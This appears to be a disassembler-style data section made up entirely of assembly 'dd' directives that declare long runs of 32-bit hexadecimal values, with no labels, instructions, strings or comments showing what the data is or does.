		dd 771F9E1Ch, 0B0025025h, 4626C6BFh, 79662A94h,	2AC903B8h
		dd 7CA5F64Dh, 0E5B4AE88h, 38D84E00h, 0B21B8D79h, 445A18B8h
		dd 0E01C3888h, 0C45076FCh, 910F6FC4h, 7255568Bh, 8CBD856h
		dd 308B75C4h, 7B6181DBh, 83CE12EEh, 30844140h, 0DC06C95Ch
		dd 740248EBh, 60B194FBh, 124CF0B0h, 27B34E3h, 847D62C8h
		dd 0F727E078h, 27BCA189h, 7B0387A3h, 9DB34EDCh,	0EC07E242h
		dd 0C84C44C4h, 2BC0F3B8h, 464488E6h, 40513D1Ch,	0E6530087h
		dd 4BBBBD79h, 9A07ADA2h, 0F890EA8h, 80C75A02h, 5FF0EB90h
		dd 8D4496BBh, 5B90C486h, 13CCB20h, 0BC566CA8h, 8450202Ch
		dd 32DA04CDh, 0D2577DA8h, 0F444E468h, 0F2EF502h, 484A5A08h
		dd 5483C570h, 3A2B071h,	0A788D206h, 9FB9D014h, 200DDD7Ch
		dd 815BBC3Ch, 0CDFC002h, 22A30EC8h, 18006314h, 84EA3A2Eh
		dd 1D2D3632h, 0B29AA34h, 5810E2FBh, 90B40160h, 0F67C548Eh
		dd 8D8818CBh, 6CBCB3C0h, 0B2E2015Ah, 71E022DAh,	48683757h
		dd 0F8942260h, 0C1E02705h, 0B491201Dh, 0F2F00B80h, 89CF7A65h
		dd 2F13A072h, 7142A16h,	69E16003h, 0D92B9150h, 5583C7Ch
		dd 42F06F34h, 98BBCE0h,	0E4DACAE2h, 0FDC2A067h,	4E0016C7h
		dd 0AA7578C3h, 7CE4FADh, 0A848311Bh, 7279F0D2h,	0D307D538h
		dd 7A807BB6h, 8143B483h, 2082AC95h, 75B24EFDh, 83282090h
		dd 0B1748BFCh, 25CA30C0h, 2C431D27h, 1BE485CFh,	219E08BFh
		dd 26CDF01Ch, 0E9238F80h, 4E00F4Eh, 360BAA7Fh, 7DEAC772h
		dd 0B8B1E728h, 0BDA57074h, 4AEC70Ch, 0C38F08A6h, 74C0C421h
		dd 2E3216E8h, 7B84570Fh, 3A6BA6h, 648DBC39h, 78AA67B3h
		dd 49C9410Eh, 0D41180A8h, 2AD33F0Ch, 3393981Eh,	0D708EE33h
		dd 14EA2100h, 2A51603Fh, 0B2C3D9Dh, 61459A00h, 0C44069ADh
		dd 22688A8h, 3C7FC720h,	1F0FE854h, 470E8096h, 79F83D0Ch
		dd 2F1EC205h, 81C06B15h, 0C0B2C9D3h, 3FB0F268h,	0B8C17F30h
		dd 0C83A3296h, 0E742C088h, 0A67E0CC1h, 405E74E1h, 828F2310h
		dd 0BEB978h, 7AB45FB0h,	0F48268C1h, 6080E8FEh, 7F2F6AADh
		dd 1807922Dh, 90C45EE5h, 0F001E4C5h, 798726FCh,	0FE24F840h
		dd 0B81FE899h, 6F2A196Fh, 50AB78E8h, 1D09ADECh,	8598F863h
		dd 35B91EB0h, 0FDD71FB2h, 0D4292070h, 60E07151h, 73304EEFh
		dd 10D148E2h, 20B36091h, 7D966EF2h, 924678DFh, 151C7E6h
		dd 0E723B61Ah, 527A446Eh, 8C23CF10h, 2E9100C6h,	219016B7h
		dd 950099DEh, 39D86AC1h, 18D2AA48h, 288CF08Ah, 401C42BDh
		dd 8EFC7728h, 2383C4A5h, 84B727h, 7EB54820h, 7FF7EF57h
		dd 0EA04ACA9h, 0B3C8EC80h, 66609BFFh, 710E92D1h, 0CE97B28h
		dd 0E7F17FCEh, 0E4A88D08h, 710716A5h, 284730FBh, 6FB07B07h
		dd 182E2C3Fh, 808B5077h, 8D26F119h, 9003EEAh, 0F96FA42Bh
		dd 70846228h, 10189C15h, 0E9221071h, 18ABE02Fh,	75210071h
		dd 3B0BCCCh, 147E2402h,	19030D72h, 35FCB733h, 1849D072h
		dd 0C0DE5109h, 4853CC02h, 12830B64h, 2E3C2F4h, 7E42A118h
		dd 4103C048h, 7A107C4Ch, 0B9F288A8h, 73359809h,	91B8170Dh
		dd 2CB180DBh, 188210DDh, 6995A3A9h, 0F8016E4Bh,	0F0512528h
		dd 7AF14AB6h, 2B1048C6h, 51001B2h, 5A732802h, 2080251Fh
		dd 28CB44Ch, 43112721h
		dd 0D319862Fh, 26CA0410h, 7162C802h, 41DE75DAh,	0F69288h
		dd 0C3D35D43h, 77BE7D01h, 0DB575A72h, 14490820h, 9CCC5C48h
		dd 8532C400h, 2F2B77F7h, 0F85B3624h, 223B1507h,	1811B186h
		dd 0F9A9F092h, 4C24472Bh, 0D300CC80h, 18438BE7h, 50D960F1h
		dd 0AA297A73h, 4F48E8C6h, 0F5272078h, 0C7B7E0C8h, 4310E326h
		dd 8B38679Ch, 0F380CEF1h, 9EF4DC22h, 0B9E8E051h, 3C90F5A8h
		dd 3AF8AB48h, 0B2A24016h, 33EA00h, 0A3FD8F14h, 26B22010h
		dd 3F2CC206h, 0CB87568h, 0CF0EF516h, 5F50B150h,	0F150927Ch
		dd 47242D74h, 402470A8h, 4C2FC3E0h, 0FC18C09Eh,	90B530E4h
		dd 40D04780h, 0FD181687h, 1F30D5B2h, 5AC6102Fh,	623271D7h
		dd 8EE418C2h, 0CB81D188h, 44431B26h, 0EAF82C84h, 990326EAh
		dd 36FE0E39h, 40C87BB1h, 9D7733D6h, 82F046E0h, 99C61470h
		dd 41BE8Ch, 0EBDB7911h,	0D5CDD8AEh, 381A130Eh, 393FE0C7h
		dd 0F4494A0h, 515C3DFh,	40985F07h, 83131AE3h, 433280A6h
		dd 2A38F81Eh, 0CBA100C4h, 0D0E0427Ah, 0F1601CB0h, 8D1819F1h
		dd 0FED30156h, 24684362h, 8A1422CCh, 0E340DCA3h, 0A944578h
		dd 0B52D5D4Ch, 6D0A403Ch, 0A074DFEBh, 301C8658h, 0AD2A4139h
		dd 0BC78C8C8h, 0E3591681h, 59808EA3h, 867ED75h,	5700426Eh
		dd 92F41E70h, 1CFC2D0Dh, 24B79ACDh, 129CCA04h, 731C092Ch
		dd 48436018h, 0C0D83430h, 0A0887183h, 0DEE51E84h, 0BE6302A0h
		dd 0B860D2B3h, 11EFB96Dh, 110C9C14h, 0E9267098h, 0A4708037h
		dd 79713B19h, 13183380h, 0D9AE47Bh, 767C8048h, 66D9D40h
		dd 3BDE3D7h, 0F1025964h, 0EC7B3C9Ah, 0DEB8C0A6h, 0FF80C1B8h
		dd 64F6AB1Eh, 0DD1809B8h, 0FB99C0CDh, 1A04869Bh, 0DFE8CC71h
		dd 0E207B138h, 4CF86971h, 0E3636D40h, 856128CBh, 805465C8h
		dd 3C8814EEh, 8275A182h, 0AAC6D040h, 0A70E7C99h, 0C22D6025h
		dd 92B047CCh, 0B058AC98h, 2D0467Ch, 2ACC3F17h, 10D83126h
		dd 5C3EFFE7h, 38184CA5h, 1B925088h, 2AF4BD4Ch, 836F84D7h
		dd 0D1666C04h, 0E820A049h, 6C573F30h, 0DF001B5Ch, 41E9D70Ch
		dd 93730B6Bh, 0CC623BF8h, 9ABB1C8h, 0BFD93C82h,	8003040Ah
		dd 85B3C7D3h, 0E81DF463h, 8C17E925h, 3B08F44h, 3F8671E5h
		dd 1AB04392h, 0A4B06AB9h, 0A5029828h, 0ACC5261Bh, 8DC81870h
		dd 2AC270A4h, 9118471Ah, 9A48E3E8h, 2B20C089h, 69F60539h
		dd 9D18322h, 78A1D888h,	84ABE492h, 7D2FA1F1h, 0D1238C90h
		dd 926A1326h, 57F031E5h, 300EA48h, 0A2B08F2Dh, 833CC3CCh
		dd 2CC1508Bh, 787E6127h, 9275A9A3h, 889A3550h, 2CFE34C0h
		dd 8D50D76Ah, 0E97A34h,	0EF3B6EA1h, 0EB483100h,	61DCA858h
		dd 71BE2EC8h, 829C0E04h, 4A1EA4A8h, 50701062h, 497A4CACh
		dd 0A2305384h, 9C9E30D9h, 48D4090Ah, 7540A4DEh,	2E6EFE3Ch
		dd 44B4ED33h, 0C13890FFh, 0B4AC42A0h, 0D8FA1A26h, 7FA0921Fh
		dd 20D8B02Dh, 8C26B2B4h, 0A680D4C4h, 2A7ED442h,	3F60CBEBh
		dd 6D0D6CA0h, 6124FD60h, 2F040492h, 0A0108E3Ch,	5087FFA1h
		dd 6C09D2D4h, 16738912h, 49D45C49h, 3024E3C4h, 24174CBDh
		dd 5756FF82h, 0A3527058h, 68AC02D4h, 82F13B27h,	1BB8074h
		dd 287B26E9h, 0A0FA2C34h, 78883FE1h, 0E8882421h, 0CB02B312h
		dd 0E881B477h, 4C92F120h, 0D22AF4A8h, 4DAC808Ch, 0BA670EE6h
		dd 4963FF19h, 0AEF0F043h, 0BF4881A2h, 0C1700804h, 0C3370AC0h
		dd 0CBEE0880h, 0C28C1E83h, 193809E4h, 6C21C598h, 827EF02Fh
		dd 67AE0D91h, 8100E08Fh, 34BA0426h, 0A090BC77h,	0D814D6A8h
		dd 0F120CEFAh, 0E41963BBh, 2C93D4AAh, 0B83F1300h, 86E0062Ah
		dd 0FF3CF44h, 39CD3EFBh, 0CAAF9AA0h, 0A7FCD076h, 40805CB1h
		dd 339FEC8h, 0A8380FA4h, 803D8F19h, 2AA5C242h, 2C39CD6Ah
		dd 3C842E77h, 0BD183281h, 0E8507004h, 131310BBh, 4E202D05h
		dd 81BD01B0h, 412EA0D1h, 0E2DC2371h, 3BAC308Ch,	4BBBF404h
		dd 90CCFD03h, 0F3F8A1FAh, 1840E412h, 0EC96BAD1h, 76903F9Eh
		dd 9F25FE07h, 0DA310284h, 0B60E88Fh, 59078BFDh,	602764B0h
		dd 2B1C16DCh, 182C9BFEh, 0B52C7881h, 0BC672286h, 9831344Bh
		dd 2098ABD6h, 0A95F4189h, 82256C93h, 20592480h,	8ECB5A72h
		dd 3F09449Ah, 21C88C81h, 0F37D08D8h, 42DB530h, 0CB856CF1h
		dd 0B0B8C849h, 0DB327C00h, 29F61C5Eh, 869B0B36h, 88F73AEDh
		dd 780D8851h, 0A0269896h, 0E2E10FF1h, 60E8F848h, 0A4AB3124h
		dd 0F0BB2A3Ah, 0B244F090h, 5A6C9CB0h, 0CF565820h, 8B0ACC45h
		dd 84D8D7DAh, 0E5A4208h, 0BFC92CDCh, 628BB402h,	92A380A3h
		dd 35DA9100h, 0F7F28852h, 0A42A009Fh, 4D832E90h, 2DEC32B1h
		dd 0F267BF6h, 0DC5158FFh, 14C8115h, 81C0C9Ch, 0FE92671h
		dd 0A7408EC4h, 0D21471E4h, 1B007198h, 0C15015D4h, 4C874F68h
		dd 0E9844CE2h, 0B1442B5h, 0A8284123h, 90A5824h,	0DE1A2D7Dh
		dd 804340A3h, 12CD14Ch,	0D0494588h, 0F188DA8Ah,	758093A2h
		dd 0E97F6DE6h, 0FBC50079h, 0F487B615h, 0ABFC643Ch, 0B4DD1014h
		dd 0A4B828B4h, 30235744h, 3891AA49h, 1090EA63h,	3AB62A0Bh
		dd 73F80416h, 914A5C92h, 60E840CCh, 7AA348A0h, 13205F17h
		dd 25D44204h, 707A6EE7h, 10F2F889h, 13A97033h, 5FB6AEDh
		dd 88C52994h, 9557FFE8h, 0A37CE3BCh, 61E8F8DCh,	227230C7h
		dd 65661AD8h, 595FE00h,	4C03386Eh, 0CEC7C76h, 1F174F5Bh
		dd 0BBF05620h, 31F04D30h, 129770Ch, 8A8675C3h, 985E6D69h
		dd 31210408h, 7C292C6Fh, 0FD00388Ch, 0F137D1FBh, 23714DACh
		dd 6C2C1200h, 951BA9E8h, 1AF21477h, 0D7008BDBh,	20FE86AFh
		dd 500D966h, 0ACF0B96Ah, 0C06D3AD2h, 21EAEF98h,	6B047825h
		dd 126FB779h, 396594C0h, 0E9720648h, 203B3622h,	7D8EEC05h
		dd 203C3FB5h, 40F465Eh,	493E22EFh, 3B87C10h, 0DFB5008Ch
		dd 0DEE7473Fh, 9E032D98h, 0EF26A52Ah, 0F09CEFA9h, 6265F282h
		dd 4CCD91FBh, 0D05E3880h, 790CD3ECh, 263C8A6Fh,	2036608Dh
		dd 7E2BD777h, 25EB90A0h, 7F9FFC0Ch, 604ED865h, 0E1660873h
		dd 7479EE6Eh, 159F5F00h, 0B2279C02h, 0CF750CE9h, 0BF407DEFh
		dd 9D71EE00h, 2F27A5Dh,	9A49C076h, 861BD335h, 37C68E01h
		dd 0CDA3E355h, 15670F4h, 2BF02D9Bh, 83BF8575h, 0EE226FB0h
		dd 15A11248h, 0B61848D1h, 0BE2972C0h, 225E4675h, 0A0319002h
		dd 314BA276h, 3C9724Fh,	0F154ECBFh, 560D938h, 4D970C53h
		dd 66849000h, 0DE1DD4BBh, 0C43A0040h, 0DAA34B28h, 9BF0890Ch
		dd 0C03108AAh, 28BC6021h, 0C3301A7h, 0E0D0A0C5h, 0C26A023Ch
		dd 0AFBD86F9h, 10A90040h, 9E71E33h, 0A621007Dh,	2B8DAFB5h
		dd 0CF312255h, 71038827h, 0EEB92180h, 0D3635CCh, 389D5F00h
		dd 0C79F79C8h, 130905Eh, 0A428FF1Fh, 80FE4E91h,	0C186C2F9h
		dd 73178BAh, 0DB1D8A2Dh, 90375799h, 6A9E3CC6h, 9A02EF09h
		dd 1B10273Dh, 2389EEC0h, 9249075h, 195AFB43h, 20BBA80Fh
		dd 13ED823h, 0EF74AFBFh, 0A8010EB9h, 9D9AFB7h, 67AC40C0h
		dd 0E72479EEh, 659E5485h, 0AA221062h, 2BD4502Fh, 79748344h
		dd 80B4A870h, 7A3006F1h, 0F85D469Fh, 0C03F90C8h, 0EF75AFC0h
		dd 0CE9DC143h, 9040AFB8h, 23A53705h, 0E0C16F7Ch, 7A0F81F0h
		dd 0BB1898B1h, 1D4E0113h, 2BD5A851h, 0C7468983h, 6E3AD430h
		dd 7C1B80B8h, 27C1E256h, 0B1EE2Fh, 11A2EAF3h, 29D56B7Bh
		dd 0E60739C0h, 0B7382Bh, 0B4D06D8Dh, 8BE04099h,	3CC2C402h
		dd 4877EE29h, 0C0F34D50h
		dd 0BA803779h, 291B8495h, 0E021F075h, 604F6A46h, 0AC08116Dh
		dd 0F51F06AFh, 1BCC3169h, 46D8170h, 605C1FDCh, 5BF88333h
		dd 0E3D81950h, 4418E41h, 0A0054D1Ah, 3D60EA22h,	0F6D45269h
		dd 0B3D535AFh, 0BA9008C9h, 4A28C3C0h, 80D243A3h, 2B28BB5Fh
		dd 133B713Dh, 24839CFCh, 678032Ch, 1E8B78D9h, 4390CE80h
		dd 50D0830Eh, 74AB00A4h, 0E2AFEFC1h, 0C0B0C269h, 98E2A1EEh
		dd 0EBA3D800h, 2E07E3ECh, 0E7A9686Ch, 281B193Ch, 13E402BBh
		dd 50A1A264h, 37B86048h, 0B7D1008Ch, 3C1A0F40h,	61288CE6h
		dd 792BA8C6h, 0F2119C41h, 41A7697Dh, 86BF080Fh,	0C082ABB7h
		dd 0B2222498h, 0EA291537h, 1B0184B5h, 45EBA73Eh, 0CFD09FE4h
		dd 694E7106h, 4B850021h, 68EEC5DDh, 0E6336A3Eh,	800830h
		dd 0DD43AC21h, 7F1E076h, 59F47700h, 0A988B72Bh,	26BC928Fh
		dd 40E84F73h, 0AFBC1C27h, 3B525D00h, 38FBE77Fh,	5CC448DAh
		dd 0FEF323C2h, 0F26C1AE0h, 0A4D0712Ah, 13409A09h, 11989D3Dh
		dd 1B809E36h, 0F3BFCB3h, 9C82087Ch, 8E807503h, 6669E907h
		dd 0E4480060h, 26BF4323h, 0A600B45Eh, 5625A082h, 0A8E91C19h
		dd 6DCBFCh, 0EBA823FBh,	15CE1AFh, 879264B1h, 123828h, 93AB6476h
		dd 0C16C46C7h, 315E390Fh, 2835C09Eh, 18A34356h,	0F8ED2B23h
		dd 0A5094BC4h, 3171EF3Dh, 0BE18B524h, 0A3452808h, 4035C4AAh
		dd 8F28B65Ah, 22960779h, 0B005F3A8h, 0F9509B52h, 68503C60h
		dd 67695781h, 54CB6177h, 74E882F0h, 0BD308529h,	0B0798098h
		dd 96752E70h, 7133701Ch, 0EEF62903h, 0B967436Ch, 60858D97h
		dd 41D8FC19h, 55EE24A0h, 6444FABAh, 0A7D8F845h,	3D9CBA43h
		dd 3324228Fh, 0CFEB055Ch, 1FB440EDh, 79D69CE5h,	0A782641Ah
		dd 0E6B0C061h, 5C89FCADh, 0C00C1B2Fh, 1661725Ah, 0B9D0238Bh
		dd 0C1299C3Fh, 88876D1h, 29402F9Eh, 0B84F4127h,	73523F8Bh
		dd 2BB7E262h, 0C61686Ah, 4418604Ch, 1CC3A63Ch, 0CE893F7Bh
		dd 0AC002AE5h, 0E04C77DEh, 96300D3h, 0FAEFBFFDh, 0A0B24A11h
		dd 26F1D0Bh, 91B8987Eh,	20E4A22h, 70F6C18h, 1B43ECC0h
		dd 2C90CB7Fh, 0D3A98E0Bh, 14882A81h, 242490A0h,	203C70E8h
		dd 0A9EE0AE4h, 43DC895Fh, 4015F0A6h, 48CF94Dh, 23BF1422h
		dd 86E6B380h, 0B05F02DAh, 63A7780Eh, 5EC5CCE8h,	66127001h
		dd 6A687175h, 0E9F3A501h, 72943408h, 0A381877Dh, 94EE6460h
		dd 90CA0A8h, 41E9751Ch,	0B7ED7C20h, 60D87F63h, 4A3E2730h
		dd 23EC3AC1h, 0ACEC0002h, 0EBB81B1Ch, 0F375EA13h, 58C7A824h
		dd 34046875h, 61F387Ah,	1874239Fh, 0CE1A6F09h, 0EA50253Fh
		dd 3DE26C81h, 17DA7700h, 0D7703005h, 30D79467h,	239DF5A0h
		dd 0E80D65AFh, 0B6948165h, 1E3086B8h, 1C80F43Eh, 0A84F71EEh
		dd 3A70AC0h, 2CC996Fh, 0BE75C064h, 87639083h, 0DA1A2002h
		dd 9E6D3C7Ch, 965E2320h, 8B816602h, 3168C483h, 74902056h
		dd 30326Eh, 78312529h, 2E5FF1DAh, 3E905955h, 8447A24h
		dd 52002A7Dh, 4D9423D2h, 7E1E31Bh, 0A7848A8h, 0F522FBA5h
		dd 23250208h, 0DC0AF79Fh, 81B1BB1Ch, 19859EFBh,	81DACEAh
		dd 0EC2EEC90h, 22208060h, 138C98F9h, 11BEBCEh, 29096DE0h
		dd 32C77150h, 0AC79C874h, 20631DB8h, 7B479A1Fh,	4F63EC6Eh
		dd 38294D6Eh, 0B5BD019Dh, 2493AF17h, 0FF025F4h,	0F0CB5F2Ch
		dd 0DC904C20h, 6C193728h, 3199562h, 1F04C874h, 125100AFh
		dd 253C9D78h, 8D13A234h, 0F0655436h, 206DC882h,	57D7F5C5h
		dd 0C7121C92h, 4C40FB4Dh, 3FCD5A1Fh, 1FB4F658h,	0C3D33B64h
		dd 0CCA76C60h, 0C61030FFh, 74C722Ch, 4068528Ch,	0B2423C8h
		dd 3C48B01Dh, 0B0041A12h, 6D001B87h, 5ABE18E3h,	58518D40h
		dd 5A640414h, 4F94A043h, 6CA97065h, 9034FA01h, 0A0F75A9Ch
		dd 5E76A50h, 879D4F3Fh,	20E8C7B7h, 0EF1B5716h, 3481EA13h
		dd 0F2F0E829h, 192162B9h, 5F22E5AFh, 0DA4E665h,	14FF031Bh
		dd 57BC60C0h, 50219641h, 0EE0013FDh, 28F90F81h,	4736A1F8h
		dd 0D7AFD107h, 0C88C7388h, 0DBE683C3h, 47B20582h, 741590ECh
		dd 2EA82F77h, 0FD402002h, 14413580h, 0AF459BDAh, 9F5BF00h
		dd 79E18490h, 38A64F25h, 272DCB4h, 35F5739Ah, 0CB216E4Eh
		dd 7E84E558h, 0CC7B0571h, 0AF0063B8h, 0C217F38Eh, 38EE5BECh
		dd 478053EAh, 7988C073h, 0F8927D2Bh, 0B1028EA3h, 3A3C3F0h
		dd 0B5A8E83Fh, 6BA030FBh, 0C3E6CCB9h, 6893D1E0h, 0EE389B07h
		dd 3974BD42h, 0F3961076h, 0CA3348EFh, 0E1601800h, 0E05EE308h
		dd 180AB425h, 0EEA9F090h, 3061826Eh, 819A4EDh, 88606F16h
		dd 23C3DD49h, 821158EEh, 0DD41AA03h, 38002111h,	0FB56475Eh
		dd 553520Eh, 0D4E41AD9h, 0EFCC402Eh, 805C1CBFh,	9F20E600h
		dd 14DAF170h, 36F50008h, 0B87438B6h, 7124CC24h,	0DD1138BFh
		dd 7EBB8840h, 313C9316h, 451106D0h, 303899A0h, 0FBE264h
		dd 0DF10E04Eh, 0C8CFA80h, 36F047F4h, 4C2FEF24h,	7750A11Fh
		dd 6556A403h, 49749B82h, 91672800h, 6DC5E529h, 106C00F9h
		dd 22F13983h, 50902B8Eh, 0EBA54D09h, 0C58CA0BAh, 49E3A777h
		dd 8879C88Ah, 9807BF4Ch, 7BF40F0Ah, 0C8F1A2C2h,	409BA108h
		dd 51E70385h, 0F07C53E4h, 0E300B358h, 9529F079h, 12319169h
		dd 9CD1B13h, 0A47256h, 352C81E4h, 89EE0093h, 0EC69544Fh
		dd 25649837h, 242879CFh, 90DF08FCh, 0A0A2FC8Bh,	16DCB40h
		dd 785A096Fh, 0F084BD0Dh, 7300F02Bh, 0BC013898h, 0FB6B7AC0h
		dd 0A9AC6CA6h, 41D2086Ch, 0F088D426h, 0A9FB86F4h, 0BD012968h
		dd 0D870A6BFh, 88A66483h, 1201168h, 6962509Bh, 0E4447DEEh
		dd 0C0B4AF84h, 0F010408Bh, 6E03AC18h, 9A29351h,	0B04CD530h
		dd 6723DE81h, 61DC641Bh, 0C8D069EFh, 26A5017Fh,	7421C61Eh
		dd 9B229F24h, 0F6021870h, 0EDEBE0C7h, 0B9BDC12Dh, 1D020314h
		dd 0E523209Ch, 2DD40CC3h, 0F80169E1h, 0CC43E134h, 88D0848Fh
		dd 2CE7989h, 0F2F9176Fh, 6CE395E9h, 6C7177BAh, 308BEF08h
		dd 70ECD0B8h, 4A01CC93h, 60EEC4DDh, 0AB887A18h,	16DD0042h
		dd 0D8D35325h, 0D7277840h, 0B63C00F7h, 6A5ED17h, 7FA18F3Eh
		dd 6D67688Ah, 0A1B9D2C8h, 68EF1DC8h, 18B65DF4h,	206A2FEEh
		dd 7B431C56h, 0BB84724h, 28A8F492h, 7C465654h, 65F1007Eh
		dd 6DB6B8FCh, 4A010CE4h, 0BEC084AAh, 0F2FC1A56h, 0B050B2D1h
		dd 67CF2010h, 9220ECB0h, 433C0B30h, 44202AEBh, 8BFDCBE6h
		dd 84270907h, 131974C6h, 0D2B03838h, 7913F040h,	0D022996Bh
		dd 5A28684Ah, 231B0A3Dh, 246C0117h, 1E4E0A38h, 4B642808h
		dd 0C0FC30B7h, 0A3234728h, 32E11BAh, 0FB28B85Ch, 6430E8D4h
		dd 0BCCE7C20h, 0D0611468h, 1671BF10h, 98358EB9h, 2C2D406h
		dd 50BFF8B1h, 58160C72h, 0CB86B008h, 70911892h,	826E7B42h
		dd 8213E618h, 27C1B7Ch,	0A960F180h, 5C9A4B9Fh, 0DA22690Ah
		dd 0FB00AC42h, 2CF134D9h, 65D01632h, 0BEB48C3Dh, 0EF73AF08h
		dd 417AC4B1h, 98AFB6A7h, 2BEE030h, 0A6CB6B6Dh, 84E0EE07h
		dd 108E7B9Fh, 82020AFBh, 117783DFh, 3F298126h, 78A2C60Fh
		dd 9DFB1183h, 70066760h, 4691FA8Fh, 52D52DB8h, 18BC5411h
		dd 4C2808C5h, 30C4E2A3h, 28BD6140h, 9002E60Eh, 0A3F8C2E5h
		dd 5C0109FDh, 67DD6Fh, 0C16BE929h, 53819619h, 0F242295h
		dd 867510A0h, 0A9FD4Eh,	0B512E14h, 0D1B26F88h, 0B500E5FEh
		dd 287FA83Eh, 0A7EAEC30h, 607E44B0h, 275C40Ch, 0FA6F800Bh
		dd 944444ADh
		dd 4783F412h, 3222A002h, 0C8D46431h, 0C2C04168h, 46EF77AFh
		dd 8122D1h, 6DAFBAABh, 0F48CC029h, 0C84C447Bh, 204F2F4Ch
		dd 94D67834h, 9A270011h, 5967D835h, 1E009C15h, 0C94014EFh
		dd 0BEE92EA5h, 2C2376C8h, 712CF071h, 81CCA85h, 0E8174359h
		dd 523CC04h, 0E1B84E0Fh, 0B674168Eh, 3075E700h,	72ECCA23h
		dd 843B515Dh, 30229531h, 0FF90433Fh, 0E4E80108h, 38EA7619h
		dd 0A89049A7h, 0E54C7E77h, 0FCD20095h, 0D77F8BE0h, 2CFF841h
		dd 0D39FB37Ah, 2C80FE65h, 0D65A1B1Ah, 19401649h, 0C4197803h
		dd 7ABA0CE4h, 27186h, 0B14A091Fh, 0D0E65A05h, 4D4F4118h
		dd 0B1A1FB81h, 0F2EF07E0h, 0AA20D8D5h, 7174681Fh, 440271B2h
		dd 0A8D205E4h, 0C02795F8h, 3A422FC3h, 7BBD5D00h, 0D890E380h
		dd 0A55103A1h, 0E8D5BF5Eh, 0A03A405Eh, 0DF0F3723h, 8FA1298Ah
		dd 68D6088h, 24EA67FFh,	8BEC2DF1h, 4E45824h, 90DAF4h, 2749EE22h
		dd 0C4396F8Fh, 25F1007Eh, 0D2F775A5h, 9AE80E40h, 89F202F0h
		dd 607A1323h, 4FC13A94h, 31087244h, 2038A405h, 43104612h
		dd 0C0CCE2D0h, 3BDB40BFh, 2485DA77h, 844FE4DDh,	7994B0BDh
		dd 907AAF20h, 0ECD22630h, 89933EF0h, 0C3D897B3h, 1858EECAh
		dd 0D10402E8h, 0A169D5DEh, 12F3A3B0h, 71B108C7h, 23D648Fh
		dd 0FBA9F0A7h, 6724B293h, 607D44E8h, 26B9E5AEh,	6080C26Bh
		dd 0EF109246h, 0D9C5D500h, 0C35A7658h, 73AB768Bh, 4E5602FDh
		dd 35B9EAF3h, 6461E8CAh, 0C34454CBh, 14DC6E60h,	0C212CACh
		dd 1B5408h, 5C41A652h, 0EAF81EB0h, 0B219EE60h, 907B279Fh
		dd 0CDBC00A4h, 20ED23Eh, 572DCFECh, 3424227Dh, 8906655h
		dd 761A5469h, 81CA840Dh, 0B4F2A870h, 0EBE00580h, 0AC589026h
		dd 1218B554h, 57B8D87Eh, 25B4A404h, 0C820A162h,	56A5BD65h
		dd 0DB4480B0h, 0C6CE0F69h, 65624912h, 24C6EBA2h, 4827AD31h
		dd 3E0BD64h, 0CECB23Ah,	0BC4256B8h, 26149F18h, 8248ECDBh
		dd 61B254A6h, 909CC752h, 0D0CCA137h, 8069420Bh,	4DBE54B1h
		dd 206D560Ah, 2089F185h, 69C1A788h, 43A83F64h, 36651A30h
		dd 3EB77809h, 2DBC8168h, 0C24ED69h, 725D16B3h, 89089067h
		dd 0E1809037h, 0F39224EBh, 0D811ADC0h, 0A5098584h, 34313E03h
		dd 5028C11Bh, 57AFEB0Ch, 0A5A22C71h, 31002C54h,	925CFD82h
		dd 4A30C5ACh, 0AE98884Dh, 6008A048h, 0D01A57B0h, 89067h
		dd 10C7F1CCh, 4C616A2Ah, 0C56D02EEh, 5018C169h,	588CA6F0h
		dd 0EB3FB86Dh, 83913A34h, 0A946DDC3h, 359D170Ch, 21101C96h
		dd 952D4829h, 800491F8h, 7C0EC7BCh, 646C7DABh, 986AA0E1h
		dd 0DD0844E8h, 0C430EEBEh, 3CA54281h, 0B2C485DDh, 13D38C80h
		dd 17FA0FF2h, 251D43C4h, 0EC200844h, 23A51F99h,	0B518B053h
		dd 9C521950h, 79EE0990h, 7ECCA13Bh, 19A78AEFh, 27767080h
		dd 0E8986834h, 3B48DA22h, 29E8EA29h, 7B465C60h,	0F3424501h
		dd 28AB23A3h, 75038430h, 18861B09h, 37978930h, 0D23500C8h
		dd 8F2498B9h, 83A47C00h, 22E6AB9Dh, 7B2031DEh, 1176EBC9h
		dd 482C7274h, 728238Eh,	0A0034E09h, 8FF51F5Ch, 6CC15DF2h
		dd 4FDA1878h, 0D5354171h, 0F03C703h, 0DB7A0CBBh, 74A688B7h
		dd 7121062Bh, 611F7BC9h, 29E91A0Bh, 389801F1h, 75F11570h
		dd 0FCBCC4D2h, 806494F2h, 4B7ECDE6h, 33C243Ah, 7518E22Dh
		dd 4C0F1E8h, 6870B9Fh, 639B94Fh, 3CF1DBBh, 0BF00187Ah
		dd 723E38F0h, 0CCBE6E2Ch, 9D091969h, 1DE726h, 31D8699Bh
		dd 0BA30489Eh, 7720F2D4h, 4EE152E7h, 9D38064Dh,	0D890911Eh
		dd 184E7537h, 98C36048h, 0E700DDACh, 0E2224B2Ch, 26AFF57Fh
		dd 46F4966Bh, 4C3C51D6h, 0F4222EA5h, 9F737488h,	44B6DDECh
		dd 976D4381h, 229BB454h, 9EDC90D5h, 7AF101FCh, 75C96E81h
		dd 0ACE6F23Fh, 302B7920h, 0D21924A5h, 423D3C6Ah, 6DC98062h
		dd 52207411h, 9EB71EEh,	9A1C5AA6h, 4C4E88E0h, 6EFE66E4h
		dd 0BDCF1500h, 6FDB7039h, 0CB9F25B3h, 71679806h, 0F1F4CA14h
		dd 549D2660h, 0FBAF7702h, 6FD4A489h, 0C9407E4Fh, 46BE612Ch
		dd 0A0279A2Eh, 0C01C7504h, 2AE3A4F3h, 681F2194h, 0E8855D08h
		dd 0C4A27320h, 0C023D430h, 98738ED9h, 1F7DA4A0h, 0F017CC04h
		dd 14D2BE22h, 9223424Bh, 7B68C064h, 89A09E69h, 0AC2A344Fh
		dd 481D40ECh, 1C52969Fh, 0F004439Ch, 4FDDABh, 55D9D67Fh
		dd 3585D489h, 8ACC883Ah, 0CC7875Eh, 863C6500h, 85FC6CBh
		dd 4F85927Fh, 7D4DD903h, 8260C0DAh, 0F85FF8CBh,	763F8CCh
		dd 0CCAD87Bh, 51DBC07Eh, 0D1E3D586h, 6385FC8Ch,	0CDDA8303h
		dd 3FCE8E0Ch, 0D1878028h, 90DD8958h, 0C886815Ah, 0D8405B60h
		dd 0BA3A1Ah, 0D1884DCDh, 0DB896585h, 27F69300h,	3A0C7270h
		dd 441F986h, 808F8A14h,	0A8808D5Fh, 90B26C40h, 0D53A2F0Dh
